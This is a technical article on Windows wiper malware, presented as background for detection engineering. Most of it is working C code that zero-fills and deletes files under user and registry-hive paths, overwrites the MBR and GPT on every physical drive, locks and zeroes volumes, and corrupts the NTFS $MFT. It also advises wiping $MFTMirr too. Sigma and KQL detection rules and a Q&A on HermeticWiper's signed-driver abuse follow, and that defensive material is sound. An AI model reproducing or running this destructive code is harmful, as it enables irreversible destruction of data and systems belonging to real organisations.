Wiper Malware Implementation
Wipers destroy data without offering recovery — no ransom, no decryption key. State-sponsored campaigns (NotPetya, HermeticWiper, WhisperGate, CaddyWiper) deploy wipers for maximum disruption. Understanding how they work at the technical level is essential for detection engineering: what disk primitives they use, what Windows access controls they must bypass, and what telemetry each destructive primitive generates.
A nation-state operator needs to render a target's entire server fleet unbootable within minutes, without possibility of OS-level recovery. The wiper must: destroy the MBR so the machine cannot boot from disk, corrupt enough of the file system metadata that even forensic recovery is difficult, and do all of this without triggering AV on the wiper binary itself. Understanding this from the defender side tells you what kernel primitives to monitor for destructive operations.
Wiper Taxonomy by Destruction Target
File-Level Wiper
#include <windows.h>
#include <string>
// Overwrite every file in a directory tree with zeros then delete.
// Defeats file carving by eliminating data before directory entry removal.
VOID WipeFile(LPCWSTR path) {
HANDLE h = CreateFileW(path,
GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL, OPEN_EXISTING,
FILE_FLAG_WRITE_THROUGH | FILE_FLAG_NO_BUFFERING, NULL);
if (h == INVALID_HANDLE_VALUE) { DeleteFileW(path); return; }
LARGE_INTEGER sz; GetFileSizeEx(h, &sz);
BYTE buf[65536] = {0};
DWORD written;
LARGE_INTEGER pos = {0};
SetFilePointerEx(h, pos, NULL, FILE_BEGIN);
// Overwrite with zeros in aligned chunks
LONGLONG remaining = sz.QuadPart;
while (remaining > 0) {
DWORD toWrite = (DWORD)min((LONGLONG)sizeof(buf), remaining);
WriteFile(h, buf, toWrite, &written, NULL);
remaining -= written;
}
FlushFileBuffers(h);
SetEndOfFile(h); // truncate to zero length
CloseHandle(h);
DeleteFileW(path);
}
VOID WipeDirectory(LPCWSTR dir) {
WCHAR pattern[MAX_PATH];
swprintf_s(pattern, L"%s\\*", dir);
WIN32_FIND_DATAW fd;
HANDLE h = FindFirstFileW(pattern, &fd);
if (h == INVALID_HANDLE_VALUE) return;
do {
if (wcscmp(fd.cFileName, L".") == 0 ||
wcscmp(fd.cFileName, L"..") == 0) continue;
WCHAR full[MAX_PATH];
swprintf_s(full, L"%s\\%s", dir, fd.cFileName);
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
WipeDirectory(full);
RemoveDirectoryW(full);
} else {
WipeFile(full);
}
} while (FindNextFileW(h, &fd));
FindClose(h);
}
// Target directories: C:\Users, C:\Windows\System32\config (SAM/SYSTEM/SECURITY),
// database paths, D:\, E:\ network shares, etc.
MBR/VBR Overwrite
// Open physical disk directly via \\.\PhysicalDrive0
// Write garbage/zeros to sector 0 (MBR) and sectors 1-32 (GPT headers).
// Requires: SeBackupPrivilege or admin + raw disk access.
// After this: machine won't boot from this disk. OS on HDD = dead.
BOOL WipeMbr(int driveIndex) {
WCHAR path[32];
swprintf_s(path, L"\\\\.\\PhysicalDrive%d", driveIndex);
HANDLE h = CreateFileW(path,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING,
FILE_FLAG_NO_BUFFERING | FILE_FLAG_WRITE_THROUGH, NULL);
if (h == INVALID_HANDLE_VALUE) return FALSE;
// Sector 0 = MBR (512 bytes). Wipe first 1MB to destroy MBR + GPT + backup GPT.
BYTE sector[512] = {0};
DWORD written;
LARGE_INTEGER pos = {0};
SetFilePointerEx(h, pos, NULL, FILE_BEGIN);
for (int i = 0; i < 2048; i++) { // 2048 * 512 = 1MB
if (!WriteFile(h, sector, 512, &written, NULL)) break;
}
FlushFileBuffers(h);
CloseHandle(h);
return TRUE;
}
// Enumerate all physical drives:
BOOL WipeAllDrives(void) {
for (int i = 0; i < 8; i++) {
WCHAR path[32];
swprintf_s(path, L"\\\\.\\PhysicalDrive%d", i);
HANDLE h = CreateFileW(path, 0, FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) break;
CloseHandle(h);
WipeMbr(i);
}
return TRUE;
}
Raw Disk I/O via DeviceIoControl
// DeviceIoControl can lock, dismount, and write a volume at raw sector level.
// Locking dismounts all open file handles — required before raw write.
// Used by HermeticWiper to corrupt disk metadata before file wipe.
BOOL RawVolumeWipe(int volLetter) {
WCHAR volPath[16];
swprintf_s(volPath, L"\\\\.\\%c:", (WCHAR)volLetter);
HANDLE hVol = CreateFileW(volPath,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING,
FILE_FLAG_NO_BUFFERING, NULL);
if (hVol == INVALID_HANDLE_VALUE) return FALSE;
DWORD bytes;
// Lock volume — forces dismount of all open handles
DeviceIoControl(hVol, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &bytes, NULL);
// Dismount (optional but ensures exclusive access)
DeviceIoControl(hVol, FSCTL_DISMOUNT_VOLUME, NULL, 0, NULL, 0, &bytes, NULL);
// Write zeros starting at offset 0 (VBR/PBR of this volume)
BYTE zeros[65536] = {0};
DWORD written;
LARGE_INTEGER pos = {0};
SetFilePointerEx(hVol, pos, NULL, FILE_BEGIN);
for (int i = 0; i < 64; i++) // 4MB of metadata at start of volume
WriteFile(hVol, zeros, sizeof(zeros), &written, NULL);
FlushFileBuffers(hVol);
CloseHandle(hVol);
return TRUE;
}
MFT Corruption
// NTFS Master File Table ($MFT) maps every file to its disk location.
// Corrupt it and the OS cannot find any files — even if the data clusters survive.
// $MFT location: determined by NTFS boot record (VBR) at LCN stored at offset 0x30.
// Shortcut: open \\.\C: and write zeros starting at cluster containing $MFT.
BOOL CorruptMft(WCHAR driveLetter) {
WCHAR volPath[8]; swprintf_s(volPath, L"\\\\.\\%c:", driveLetter);
HANDLE h = CreateFileW(volPath, GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL, OPEN_EXISTING,
FILE_FLAG_NO_BUFFERING|FILE_FLAG_WRITE_THROUGH, NULL);
if (h == INVALID_HANDLE_VALUE) return FALSE;
// Read VBR (first sector) to get MFT LCN offset
BYTE vbr[512]; DWORD r;
ReadFile(h, vbr, 512, &r, NULL);
DWORD bytesPerSector = *(WORD*)(vbr + 0x0B);
BYTE sectorsPerCluster = vbr[0x0D];
UINT64 mftLcn = *(UINT64*)(vbr + 0x30); // LCN of $MFT
UINT64 mftOffset = mftLcn * sectorsPerCluster * bytesPerSector;
LARGE_INTEGER seekPos;
seekPos.QuadPart = mftOffset;
SetFilePointerEx(h, seekPos, NULL, FILE_BEGIN);
// Overwrite 256KB of MFT (covers first ~1024 file records)
BYTE zeros[65536] = {0};
DWORD w;
for (int i = 0; i < 4; i++) WriteFile(h, zeros, sizeof(zeros), &w, NULL);
FlushFileBuffers(h);
CloseHandle(h);
return TRUE;
}
// After MFT corruption: NTFS auto-repair (chkdsk) may rebuild from $MFTMirr
// (NTFS keeps a partial backup of MFT at the midpoint of the volume).
// Wipe BOTH $MFT and $MFTMirr for full corruption.
// $MFTMirr LCN: read from VBR offset 0x38.
Real-World Wiper Comparison
| Wiper | Attribution | Primary technique | Notable feature |
|---|---|---|---|
| NotPetya (2017) | Sandworm (Russia) | MBR overwrite + MFT encrypt | EternalBlue lateral spread; disguised as ransomware |
| WhisperGate (2022) | UAC-0056 (Russia) | MBR overwrite (stage 1) + file wipe (stage 2) | 2-stage; fake ransomware note on boot |
| HermeticWiper (2022) | Sandworm | Partition table + MFT corruption via EaseUS driver | Used signed BYOVD driver (epmntdrv.sys) for raw disk access |
| CaddyWiper (2022) | Sandworm | File overwrite + physical disk wipe | Deployed via AD GPO; avoided DC to maintain lateral spread |
| AcidRain (2022) | Sandworm | SCSI IOCTL wipe | Targeted Viasat KA-SAT modems; embedded Linux |
| DoubleZero (2022) | UAC-0088 (Russia) | File zero-fill then delete; Registry wipe | Also wiped HKLM, HKCU hives via RegDeleteKeyW recursion |
Detection Engineering
title: Raw Physical Disk Write Access (MBR Wiper)
logsource:
product: windows
category: file_event
detection:
selection:
TargetFilename|startswith:
- '\\\\.\\PhysicalDrive'
- '\\\\.\\PHYSICALDRIVE'
EventType: 'CreateFile'
AccessMask|contains: 'GENERIC_WRITE'
filter_known:
Image|contains:
- '\Windows\System32\diskpart.exe'
- '\defrag.exe'
condition: selection AND NOT filter_known
level: critical
tags: [attack.impact, T1561.002]
title: FSCTL_LOCK_VOLUME Followed by Write (Volume Wiper)
logsource:
product: windows
category: process_access
detection:
selection:
EventID: 10
TargetImage|re: '\\\\.\\[A-Z]:'
GrantedAccess: '0xC0100080' # GENERIC_READ|GENERIC_WRITE|NO_BUFFERING
condition: selection
level: critical
-- MDE KQL: detect mass file deletion/zero-write in short timespan
DeviceFileEvents
| where ActionType in ("FileDeleted", "FileModified")
| where Timestamp > ago(5m)
| summarize
deleted = countif(ActionType == "FileDeleted"),
modified = countif(ActionType == "FileModified"),
total = count()
by DeviceName, InitiatingProcessFileName, bin(Timestamp, 1m)
| where deleted > 100 or (modified > 500 and deleted > 50)
| where InitiatingProcessFileName !in~ ("MsMpEng.exe", "TiWorker.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, deleted, modified
Q&A
Why did HermeticWiper use a signed third-party driver instead of calling WriteFile directly on the physical disk, and what does this tell defenders about BYOVD as a prerequisite for destructive operations?
HermeticWiper used EaseUS Partition Master's signed driver (epmntdrv.sys) rather than calling WriteFile on \\.\PhysicalDrive0 directly for two reasons. First, modern Windows requires administrative privilege plus a specific security policy to open physical disk handles with write access — but a signed kernel driver operating at ring 0 has no such restriction. The driver could issue raw SCSI pass-through IOCTLs or write directly to disk sectors via the kernel's storage stack without going through the Windows security checks on raw disk handles. Second, because the driver is Microsoft-signed (via the WHQL process), it loads without Secure Boot objections on most enterprise systems, and the disk operations appear to originate from a legitimate partition manager rather than an unknown binary — potentially delaying detection.
The detection engineering lesson is that BYOVD (Bring Your Own Vulnerable Driver) is increasingly used as a prerequisite not just for kernel code execution but for bypassing Windows security boundaries on destructive operations. The loaded driver itself is the warning sign, not the subsequent disk writes. The driver loading event (Sysmon Event 6 / Windows Event 7045) is earlier and more reliable than trying to detect the raw write itself. Organizations that have a Sigma rule or EDR alert for the loading of any driver not on an approved allowlist — or specifically for drivers on the BYOVD blocklist at loldrivers.io — would have seen HermeticWiper's epmntdrv.sys drop and load before a single byte of disk was wiped.
Practically: any operation that requires kernel-level raw disk access on a Windows system that is not a disk management tool (diskpart, defrag, imaging software) should be treated as a critical incident indicator. The file path \\.\PhysicalDrive0 opened with write access from a process in C:\Users\ or C:\Windows\Temp\ is a near-certain wiper indicator.